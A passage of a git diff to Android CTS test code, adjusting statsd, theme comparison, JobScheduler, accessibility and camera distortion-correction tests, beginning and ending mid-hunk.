addGaugeAtom(config, Atom.SUBSYSTEM_SLEEP_STATE_FIELD_NUMBER, dimension);
- turnScreenOff();
-
uploadConfig(config);
Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
List<Atom> dataList = getGaugeMetricDataList();
@@ -521,30 +516,6 @@
}
}
- public void testModemActivityInfo() throws Exception {
- if (statsdDisabled()) {
- return;
- }
- if (!hasFeature(FEATURE_TELEPHONY, true)) return;
- StatsdConfig.Builder config = getPulledConfig();
- addGaugeAtom(config, Atom.MODEM_ACTIVITY_INFO_FIELD_NUMBER, null);
-
- turnScreenOff();
-
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
- Thread.sleep(WAIT_TIME_LONG);
-
- List<Atom> dataList = getGaugeMetricDataList();
-
- for (Atom atom: dataList) {
- assertTrue(atom.getModemActivityInfo().getTimestampMillis() > 0);
- assertTrue(atom.getModemActivityInfo().getSleepTimeMillis() > 0);
- }
- }
-
public void testWifiActivityInfo() throws Exception {
if (statsdDisabled()) {
return;
@@ -554,12 +525,10 @@
StatsdConfig.Builder config = getPulledConfig();
addGaugeAtom(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
- turnScreenOff();
-
uploadConfig(config);
Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
List<Atom> dataList = getGaugeMetricDataList();
@@ -574,34 +543,6 @@
}
}
- public void testBluetoothActivityInfo() throws Exception {
- if (statsdDisabled()) {
- return;
- }
- if (!hasFeature(FEATURE_BLUETOOTH, true)) return;
- StatsdConfig.Builder config = getPulledConfig();
- addGaugeAtom(config, Atom.BLUETOOTH_ACTIVITY_INFO_FIELD_NUMBER, null);
-
- turnScreenOff();
-
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_LONG);
- turnScreenOn();
- Thread.sleep(WAIT_TIME_LONG);
-
- List<Atom> dataList = getGaugeMetricDataList();
-
- for (Atom atom: dataList) {
- assertTrue(atom.getBluetoothActivityInfo().getTimestampMillis() > 0);
- assertTrue(atom.getBluetoothActivityInfo().getBluetoothStackState() >= 0);
- assertTrue(atom.getBluetoothActivityInfo().getControllerIdleTimeMillis() > 0);
- assertTrue(atom.getBluetoothActivityInfo().getControllerTxTimeMillis() >= 0);
- assertTrue(atom.getBluetoothActivityInfo().getControllerRxTimeMillis() >= 0);
- assertTrue(atom.getBluetoothActivityInfo().getEnergyUsed() >= 0);
- }
- }
-
// Explicitly tests if the adb command to log a breadcrumb is working.
public void testBreadcrumbAdb() throws Exception {
if (statsdDisabled()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 3bf8bd8..2dda663 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -69,6 +69,7 @@
private static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
private static final String FEATURE_WATCH = "android.hardware.type.watch";
private static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
+ private static final String FEATURE_PC = "android.hardware.type.pc";
private static final boolean DAVEY_ENABLED = false;
@@ -224,9 +225,8 @@
runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
- turnScreenOff();
Thread.sleep(WAIT_TIME_SHORT);
- turnScreenOn();
+ setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_SHORT);
List<Atom> atomList = getGaugeMetricDataList();
@@ -260,14 +260,11 @@
uploadConfig(config);
- turnScreenOn();
- Thread.sleep(WAIT_TIME_SHORT);
+ Thread.sleep(WAIT_TIME_LONG);
runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
Thread.sleep(WAIT_TIME_SHORT);
- turnScreenOff();
- Thread.sleep(WAIT_TIME_SHORT);
- turnScreenOn();
- Thread.sleep(WAIT_TIME_SHORT);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_LONG);
List<Atom> atomList = getGaugeMetricDataList();
@@ -569,6 +566,7 @@
return;
}
if (!hasFeature(FEATURE_WIFI, true)) return;
+ if (!hasFeature(FEATURE_PC, false)) return;
final int atomTag = Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER;
Set<Integer> lockOn = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.ON_VALUE));
@@ -593,6 +591,7 @@
return;
}
if (!hasFeature(FEATURE_WIFI, true)) return;
+ if (!hasFeature(FEATURE_PC, false)) return;
final int atomTag = Atom.WIFI_MULTICAST_LOCK_STATE_CHANGED_FIELD_NUMBER;
Set<Integer> lockOn = new HashSet<>(
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
index 6e9a462..f9fac2c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
@@ -39,8 +39,9 @@
protected final StatsdConfig.Builder getBaseConfig() throws Exception {
StatsdConfig.Builder builder = StatsdConfig.newBuilder().setId(CONFIG_ID)
- .addAllowedLogSource("AID_SYSTEM");
- addAtomEvent(builder, Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER);
+ .addAllowedLogSource("AID_SHELL")
+ .addAllowedLogSource("AID_ROOT");
+ addAtomEvent(builder, Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
return builder;
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index bc5c972..e92e7b2 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -34,33 +34,32 @@
import java.util.List;
/**
- * Statsd Anomaly Detection tests.
+ * Statsd Metadata tests.
*/
public class MetadataTests extends MetadataTestCase {
private static final String TAG = "Statsd.MetadataTests";
- // Tests that anomaly detection for value works.
+ // Tests that the statsd config is reset after the specified ttl.
public void testConfigTtl() throws Exception {
if (statsdDisabled()) {
return;
}
final int TTL_TIME_SEC = 8;
StatsdConfig.Builder config = getBaseConfig();
- config.setTtlInSeconds(TTL_TIME_SEC); // should reset in 3 seconds.
- turnScreenOff();
+ config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
uploadConfig(config);
long startTime = System.currentTimeMillis();
Thread.sleep(WAIT_TIME_SHORT);
- turnScreenOn();
+ doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, within < TTL_TIME_SEC secs.
Thread.sleep(WAIT_TIME_SHORT);
StatsdStatsReport report = getStatsdStatsReport(); // Has only been 1 second
LogUtil.CLog.d("got following statsdstats report: " + report.toString());
boolean foundActiveConfig = false;
int creationTime = 0;
for (ConfigStats stats: report.getConfigStatsList()) {
- if (stats.getId() == CONFIG_ID) {
+ if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
if(!stats.hasDeletionTimeSec()) {
assertTrue("Found multiple active CTS configs!", foundActiveConfig == false);
foundActiveConfig = true;
@@ -70,17 +69,16 @@
}
assertTrue("Did not find an active CTS config", foundActiveConfig);
- turnScreenOff();
while(System.currentTimeMillis() - startTime < 8_000) {
Thread.sleep(10);
}
- turnScreenOn(); // Force events to make sure the config TTLs.
+ doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
report = getStatsdStatsReport();
LogUtil.CLog.d("got following statsdstats report: " + report.toString());
foundActiveConfig = false;
int expectedTime = creationTime + TTL_TIME_SEC;
for (ConfigStats stats: report.getConfigStatsList()) {
- if (stats.getId() == CONFIG_ID) {
+ if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
// Original config should be TTL'd
if (stats.getCreationTimeSec() == creationTime) {
assertTrue("Config should have TTL'd but is still active",
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 4dac5c1..8fe6965 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -83,6 +83,10 @@
}
resetBatteryStats();
unplugDevice();
+ // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
+ // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
+ String aodState = getAodState();
+ setAodState("0");
turnScreenOff();
final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
@@ -133,6 +137,8 @@
assertTrue(wl.getMaxDurationMs() < 700);
assertTrue(wl.getTotalDurationMs() >= 500);
assertTrue(wl.getTotalDurationMs() < 700);
+
+ setAodState(aodState); // restores AOD to initial state.
}
@RestrictedBuildTest
@@ -141,12 +147,18 @@
return;
}
turnScreenOn(); // To ensure that the ScreenOff later gets logged.
+ // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
+ // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
+ String aodState = getAodState();
+ setAodState("0");
uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
Thread.sleep(WAIT_TIME_SHORT);
resetBatteryStats();
unplugDevice();
turnScreenOff();
+ Thread.sleep(WAIT_TIME_SHORT);
+
runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
Thread.sleep(WAIT_TIME_LONG); // Make sure the one second bucket has ended.
@@ -192,6 +204,8 @@
assertTrue("For uid=" + EXPECTED_UID + " tag=" + EXPECTED_TAG + " had " +
"BatteryStats=" + bsDurationMs + "ms but statsd=" + statsdDurationMs + "ms",
difference <= Math.max(bsDurationMs / 10, 10L));
+
+ setAodState(aodState); // restores AOD to initial state.
}
public void testPartialWakelockLoad() throws Exception {
diff --git a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
index 371e1a9..6344143 100755
--- a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
+++ b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
@@ -41,7 +41,7 @@
private static final int GRAY = 0xFF808080;
/** Maximum allowable number of consecutive failed pixels. */
- private static final int MAX_CONSECUTIVE_FAILURES = 1;
+ private static final int MAX_CONSECUTIVE_FAILURES = 2;
private final String mName;
private final File mExpected;
@@ -87,6 +87,35 @@
return (color & 0xFF000000) >>> 24;
}
+ private static boolean checkNeighbors(int x, int y, BufferedImage reference,
+ BufferedImage generated, int threshold) {
+ final int w = generated.getWidth();
+ final int h = generated.getHeight();
+ for (int i = x - MAX_CONSECUTIVE_FAILURES; i <= x + MAX_CONSECUTIVE_FAILURES; i++) {
+ if (i >= 0 && i != x && i < w) {
+ for (int j = y - MAX_CONSECUTIVE_FAILURES; j <= y + MAX_CONSECUTIVE_FAILURES; j++) {
+ if (j >= 0 && j != y && j < h) {
+ final int p1 = reference.getRGB(i, j);
+ final int p2 = generated.getRGB(i, j);
+
+ final int dr = getAlphaScaledRed(p1) - getAlphaScaledRed(p2);
+ final int dg = getAlphaScaledGreen(p1) - getAlphaScaledGreen(p2);
+ final int db = getAlphaScaledBlue(p1) - getAlphaScaledBlue(p2);
+
+ if (Math.abs(db) <= threshold &&
+ Math.abs(dg) <= threshold &&
+ Math.abs(dr) <= threshold) {
+ // If we find at least one matching neighbor, we assume the difference
+ // is in antialiasing.
+ return true;
+ }
+ }
+ }
+ }
+ }
+ return false;
+ }
+
/**
* Verifies that the pixels of reference and generated images are similar
@@ -107,7 +136,6 @@
double maxDist = 0;
for (int i = 0; i < w; i++) {
- int consecutive = 0;
for (int j = 0; j < h; j++) {
final int p1 = reference.getRGB(i, j);
@@ -121,15 +149,10 @@
Math.abs(dg) > threshold ||
Math.abs(dr) > threshold) {
System.err.println("fail dr=" + dr+ " dg=" + dg+ " db=" + db);
-
- consecutive++;
-
- if (consecutive > MAX_CONSECUTIVE_FAILURES) {
+ if (!checkNeighbors(i, j, reference, generated, threshold)) {
System.err.println("consecutive fail");
return false;
}
- } else {
- consecutive = 0;
}
}
}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index e03d4ae..35eb06f 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -246,7 +246,7 @@
* the battery level is critical and not on power.
*/
public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
- setBatteryState(false, 15);
+ setBatteryState(false, 5);
// setBatteryState() waited for the charging/not-charging state to formally settle,
// but battery level reporting lags behind that. wait a moment to let that happen
// before proceeding.
@@ -281,8 +281,8 @@
kTestEnvironment.awaitExecution());
// And check that the job is stopped if battery goes low again.
- setBatteryState(false, 15);
- setBatteryState(false, 14);
+ setBatteryState(false, 5);
+ setBatteryState(false, 4);
waitFor(2_000);
verifyChargingState(false);
verifyBatteryNotLowState(false);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
index 6a60b82..10b84d6 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
@@ -18,6 +18,7 @@
import android.annotation.TargetApi;
import android.app.job.JobInfo;
+import android.os.SystemClock;
import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
@@ -58,12 +59,21 @@
assertJobNotReady(STATE_JOB_ID);
}
+ static void waitFor(long waitMillis) throws Exception {
+ final long deadline = SystemClock.uptimeMillis() + waitMillis;
+ do {
+ Thread.sleep(500L);
+ } while (SystemClock.uptimeMillis() < deadline);
+ }
+
/**
* Toggle device is dock idle or dock active.
*/
private void toggleFakeDeviceDockState(final boolean idle) throws Exception {
mUiDevice.executeShellCommand("cmd jobscheduler trigger-dock-state "
+ (idle ? "idle" : "active"));
+ // Wait a moment to let that happen before proceeding.
+ waitFor(2_000);
}
/**
@@ -71,12 +81,12 @@
*/
private void toggleScreenOn(final boolean screenon) throws Exception {
if (screenon) {
- mUiDevice.wakeUp();
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
} else {
- mUiDevice.sleep();
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
}
// Since the screen on/off intent is ordered, they will not be sent right now.
- Thread.sleep(3000);
+ waitFor(2_000);
}
/**
@@ -84,6 +94,8 @@
*/
private void triggerIdleMaintenance() throws Exception {
mUiDevice.executeShellCommand("cmd activity idle-maintenance");
+ // Wait a moment to let that happen before proceeding.
+ waitFor(2_000);
}
/**
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index d0bab51..5888273 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -2970,162 +2970,6 @@
}
@MediumTest
- public void testActionNextAndPreviousAtGranularityPageOverText() throws Exception {
- final EditText editText = (EditText) getActivity().findViewById(R.id.edit);
-
- getInstrumentation().runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.setVisibility(View.VISIBLE);
- editText.setText(getString(R.string.android_wiki));
- Selection.removeSelection(editText.getText());
- }
- });
-
- final AccessibilityNodeInfo text = getInstrumentation().getUiAutomation()
- .getRootInActiveWindow().findAccessibilityNodeInfosByText(getString(
- R.string.android_wiki)).get(0);
-
- final int granularities = text.getMovementGranularities();
- assertEquals(granularities, AccessibilityNodeInfo.MOVEMENT_GRANULARITY_CHARACTER
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_WORD
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_LINE
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PARAGRAPH
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE);
-
- final Bundle arguments = new Bundle();
- arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT,
- AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE);
-
- // Move forward a few pages
- for (int i = 0; i < CHARACTER_INDICES_OF_PAGE_START.length - 1; i++) {
- AccessibilityEvent event = performMovementActionAndGetEvent(
- text,
- AccessibilityNodeInfo.ACTION_NEXT_AT_MOVEMENT_GRANULARITY,
- AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE,
- false);
- assertEquals(event.getClassName(), EditText.class.getName());
- assertTrue("Event should contain text", event.getText().size() > 0);
- assertTrue("Event text doesn't match. Expected: " + getString(R.string.android_wiki)
- + ". Received:" + event.getText().get(0),
- TextUtils.equals(event.getText().get(0), getString(R.string.android_wiki)));
- assertEquals("Event from should be start of text skipped.",
- CHARACTER_INDICES_OF_PAGE_START[i], event.getFromIndex());
- assertEquals("Event to should be end of text skipped.",
- CHARACTER_INDICES_OF_PAGE_START[i + 1], event.getToIndex());
- // Verify the selection position has changed.
- assertEquals("Event selection start should match position it moved to.",
- CHARACTER_INDICES_OF_PAGE_START[i + 1],
- Selection.getSelectionStart(editText.getText()));
- assertEquals("Event selection end should match position it moved to.",
- CHARACTER_INDICES_OF_PAGE_START[i + 1],
- Selection.getSelectionEnd(editText.getText()));
- }
-
- // Move back to the beginning
- for (int i = CHARACTER_INDICES_OF_PAGE_START.length - 2; i >= 0; i--) {
- AccessibilityEvent event = performMovementActionAndGetEvent(
- text,
- AccessibilityNodeInfo.ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY,
- AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE,
- false);
- assertEquals(event.getClassName(), EditText.class.getName());
- assertTrue("Event should contain text", event.getText().size() > 0);
- assertTrue("Event text doesn't match. Expected: " + getString(R.string.android_wiki)
- + ". Received:" + event.getText().get(0),
- TextUtils.equals(event.getText().get(0), getString(R.string.android_wiki)));
- assertEquals("Event from should be start of text skipped.",
- CHARACTER_INDICES_OF_PAGE_START[i], event.getFromIndex());
- assertEquals("Event to should be end of text skipped.",
- CHARACTER_INDICES_OF_PAGE_START[i + 1], event.getToIndex());
- // Verify the selection position has changed.
- assertEquals("Event selection start should match position it moved to.",
- CHARACTER_INDICES_OF_PAGE_START[i],
- Selection.getSelectionStart(editText.getText()));
- assertEquals("Event selection end should match position it moved to.",
- CHARACTER_INDICES_OF_PAGE_START[i],
- Selection.getSelectionEnd(editText.getText()));
- }
- }
-
- @MediumTest
- public void testActionNextAndPreviousAtGranularityPageOverTextExtend() throws Exception {
- final EditText editText = (EditText) getActivity().findViewById(R.id.edit);
-
- getInstrumentation().runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.setVisibility(View.VISIBLE);
- editText.setText(getString(R.string.android_wiki));
- Selection.removeSelection(editText.getText());
- }
- });
-
- final AccessibilityNodeInfo text = getInstrumentation().getUiAutomation()
- .getRootInActiveWindow().findAccessibilityNodeInfosByText(getString(
- R.string.android_wiki)).get(0);
-
- final int granularities = text.getMovementGranularities();
- assertEquals(granularities, AccessibilityNodeInfo.MOVEMENT_GRANULARITY_CHARACTER
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_WORD
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_LINE
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PARAGRAPH
- | AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE);
-
- final Bundle arguments = new Bundle();
- arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT,
- AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE);
-
- // Move forward a few pages
- for (int i = 0; i < CHARACTER_INDICES_OF_PAGE_START.length - 1; i++) {
- AccessibilityEvent event = performMovementActionAndGetEvent(
- text,
- AccessibilityNodeInfo.ACTION_NEXT_AT_MOVEMENT_GRANULARITY,
- AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE,
- true);
- assertEquals(event.getClassName(), EditText.class.getName());
- assertTrue("Event should contain text", event.getText().size() > 0);
- assertTrue("Event text doesn't match. Expected: " + getString(R.string.android_wiki)
- + ". Received:" + event.getText().get(0),
- TextUtils.equals(event.getText().get(0), getString(R.string.android_wiki)));
- assertEquals("Event from should be start of text skipped",
- CHARACTER_INDICES_OF_PAGE_START[i], event.getFromIndex());
- assertEquals("Event to should be end of text skipped",
- CHARACTER_INDICES_OF_PAGE_START[i + 1], event.getToIndex());
- // Verify the selection position has changed.
- assertEquals("Event selection start should stay at beginning",
- 0, Selection.getSelectionStart(editText.getText()));
- assertEquals("Event selection end should match current position",
- CHARACTER_INDICES_OF_PAGE_START[i + 1],
- Selection.getSelectionEnd(editText.getText()));
- }
-
- // Move back to the beginning
- for (int i = CHARACTER_INDICES_OF_PAGE_START.length - 2; i >= 0; i--) {
- AccessibilityEvent event = performMovementActionAndGetEvent(
- text,
- AccessibilityNodeInfo.ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY,
- AccessibilityNodeInfo.MOVEMENT_GRANULARITY_PAGE,
- true);
- assertEquals(event.getClassName(), EditText.class.getName());
- assertTrue("Event should contain text", event.getText().size() > 0);
- assertTrue("Event text doesn't match. Expected: " + getString(R.string.android_wiki)
- + ". Received:" + event.getText().get(0),
- TextUtils.equals(event.getText().get(0), getString(R.string.android_wiki)));
- assertEquals("Event from should be start of text skipped",
- CHARACTER_INDICES_OF_PAGE_START[i], event.getFromIndex());
- assertEquals("Event to should be end of text skipped",
- CHARACTER_INDICES_OF_PAGE_START[i + 1], event.getToIndex());
- // Verify the selection position has changed.
- assertEquals("Event selection start should stay at beginning",
- 0, Selection.getSelectionStart(editText.getText()));
- assertEquals("Event selection end should match current position",
- CHARACTER_INDICES_OF_PAGE_START[i],
- Selection.getSelectionEnd(editText.getText()));
- }
- }
-
- @MediumTest
public void testActionNextAndPreviousAtGranularityParagraphOverText() throws Exception {
final TextView textView = (TextView) getActivity().findViewById(R.id.edit);
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index c852bec..7924d93 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -16,7 +16,6 @@
package android.app.cts;
-import android.Manifest;
import android.accessibilityservice.AccessibilityService;
import android.app.Activity;
import android.app.ActivityManager;
@@ -1019,7 +1018,6 @@
// We don't want to wait for the uid to actually go idle, we can force it now.
controller.makeUidIdle();
- uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
// Make sure the process is gone so we start over fresh.
controller.ensureProcessGone();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7a1fc78..8623967 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -40,6 +40,7 @@
import org.junit.Rule;
import org.junit.Test;
+@AppModeFull(reason = "Flaky in instant mode")
public class WebViewActivityTest extends AutoFillServiceTestCase {
// TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index b28106d..b0aae41 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -77,7 +77,7 @@
private void yuvBurstTestByCamera(String cameraId) throws Exception {
// Parameters
final int MAX_CONVERGENCE_FRAMES = 150; // 5 sec at 30fps
- final long MAX_PREVIEW_RESULT_TIMEOUT_MS = 1000;
+ final long MAX_PREVIEW_RESULT_TIMEOUT_MS = 2000;
final int BURST_SIZE = 100;
final float FRAME_DURATION_MARGIN_FRACTION = 0.1f;
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 9a4e42c..98fa7af 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -2476,6 +2476,12 @@
// Skip unknown templates here
}
+ // Check distortion correction mode
+ if (mStaticInfo.isDistortionCorrectionSupported()) {
+ mCollector.expectKeyValueNotEquals(request, DISTORTION_CORRECTION_MODE,
+ CaptureRequest.DISTORTION_CORRECTION_MODE_OFF);
+ }
+
// TODO: use the list of keys from CameraCharacteristics to avoid expecting
// keys which are not available by this CameraDevice.
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index 1be10ee..4146333 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -26,6 +26,7 @@
import android.hardware.camera2.TotalCaptureResult;
import android.media.Image;
import android.media.ImageReader;
+import android.os.Build;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.util.Pair;
@@ -473,6 +474,10 @@
errorCollector.expectEquals(msg,
requestBuilder.get(CaptureRequest.STATISTICS_OIS_DATA_MODE),
result.get(CaptureResult.STATISTICS_OIS_DATA_MODE));
+ } else if (key.equals(CaptureResult.DISTORTION_CORRECTION_MODE)) {
+ errorCollector.expectEquals(msg,
+ requestBuilder.get(CaptureRequest.DISTORTION_CORRECTION_MODE),
+ result.get(CaptureResult.DISTORTION_CORRECTION_MODE));
} else {
// Only do non-null check for the rest of keys.
errorCollector.expectKeyValueNotNull(failMsg, result, key);
@@ -549,26 +554,28 @@
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT)) {
waiverKeys.add(CaptureResult.LENS_POSE_ROTATION);
waiverKeys.add(CaptureResult.LENS_POSE_TRANSLATION);
- waiverKeys.add(CaptureResult.LENS_INTRINSIC_CALIBRATION);
- waiverKeys.add(CaptureResult.LENS_RADIAL_DISTORTION);
- waiverKeys.add(CaptureResult.LENS_DISTORTION);
}
//Keys for lens distortion correction
- int[] distortionModes = staticInfo.getCharacteristics().get(
- CameraCharacteristics.DISTORTION_CORRECTION_AVAILABLE_MODES);
- if (distortionModes == null) {
+ boolean distortionCorrectionSupported = staticInfo.isDistortionCorrectionSupported();
+ if (!distortionCorrectionSupported) {
waiverKeys.add(CaptureResult.DISTORTION_CORRECTION_MODE);
+ }
+
+ // These keys must present on either DEPTH or distortion correction devices
+ if (!staticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT) &&
+ !distortionCorrectionSupported) {
+ waiverKeys.add(CaptureResult.LENS_INTRINSIC_CALIBRATION);
+ waiverKeys.add(CaptureResult.LENS_RADIAL_DISTORTION);
+ waiverKeys.add(CaptureResult.LENS_DISTORTION);
} else {
- boolean gotNonOff = false;
- for (int mode : distortionModes) {
- if (mode != CaptureRequest.DISTORTION_CORRECTION_MODE_OFF) {
- gotNonOff = true;
- break;
- }
- }
- if (!gotNonOff) {
- waiverKeys.add(CaptureResult.DISTORTION_CORRECTION_MODE);
+ // Radial distortion doesn't need to be present for new devices, or old devices that
+ // opt in the new lens distortion tag.
+ CameraCharacteristics c = staticInfo.getCharacteristics();
+ if (Build.VERSION.FIRST_SDK_INT > Build.VERSION_CODES.O_MR1 ||
+ c.get(CameraCharacteristics.LENS_DISTORTION) != null) {
+ waiverKeys.add(CaptureResult.LENS_RADIAL_DISTORTION);
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 22851e6..7476747 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -885,8 +885,34 @@
Integer poseReference = c.get(CameraCharacteristics.LENS_POSE_REFERENCE);
float[] cameraIntrinsics = c.get(CameraCharacteristics.LENS_INTRINSIC_CALIBRATION);
float[] distortion = getLensDistortion(c);
+ Size pixelArraySize = c.get(CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE);
Rect precorrectionArray = c.get(
CameraCharacteristics.SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE);
+ Rect activeArray = c.get(
+ CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
+
+ // Verify pre-correction array encloses active array
+ mCollector.expectTrue("preCorrectionArray [" + precorrectionArray.left + ", " +
+ precorrectionArray.top + ", " + precorrectionArray.right + ", " +
+ precorrectionArray.bottom + "] does not enclose activeArray[" +
+ activeArray.left + ", " + activeArray.top + ", " + activeArray.right +
+ ", " + activeArray.bottom,
